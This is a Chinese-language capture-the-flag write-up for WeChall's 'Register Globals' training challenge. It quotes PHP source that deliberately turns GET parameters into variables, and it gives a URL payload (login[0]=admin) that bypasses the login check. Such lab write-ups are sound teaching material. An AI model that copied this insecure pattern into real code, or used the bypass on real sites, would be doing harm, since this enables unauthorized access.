WeChall_Training: Register Globals

Training: Register Globals

中文翻译：

源码：

<?php
chdir('../../../../');
define('GWF_PAGE_TITLE', 'Training: Register Globals');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {
	$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 2, 'challenge/training/php/globals/index.php');
}
$chall->showHeader();

GWF_Debug::setDieOnError(false);
GWF_Debug::setMailOnError(false);

# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }


# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
	$uname = GDO::escape($_POST['username']);
	$pass = md5($_POST['password']);
	$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
	$db = gdo_db();
	if (false === ($row = $db->queryFirst($query))) {
		echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
	} else {
		# Login success
		$login = array($_POST['username'], (int)$row['level']);
	}
}

if (isset($login))
{
	echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
	if (strtolower($login[0]) === 'admin') {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}
}
else 
{
?>
<form action="globals.php" method="post">
<table>
<tr>
	<td><?php echo $chall->lang('th_username'); ?>:</td>
	<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
	<td><?php echo $chall->lang('th_password'); ?>:</td>
	<td><input type="password" name="password" value="" /></td>
</tr>
<tr>
	<td></td>
	<td><input type="submit" name="send" value="<?php echo $chall->lang('btn_send'); ?>" /></td>
</tr>
</table>
</form>
<?php
}

# EMULATE REGISTER GLOBALS = OFF
foreach ($_GET as $k => $v) { unset($$k); }

require_once 'challenge/html_foot.php';
?>

解题思路：

核心代码：

if (isset($login))
{
	echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
	if (strtolower($login[0]) === 'admin') {
		$chall->onChallengeSolved(GWF_Session::getUserID());
	}
}
else 
{

这里我们只需要使$login存在并且login[0]=admin，即可完成绕过。

Payload如下：

www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

或者
www.wechall.net/challenge/training/php/globals/globals.php?login[]=admin
两者等价

成功示意图：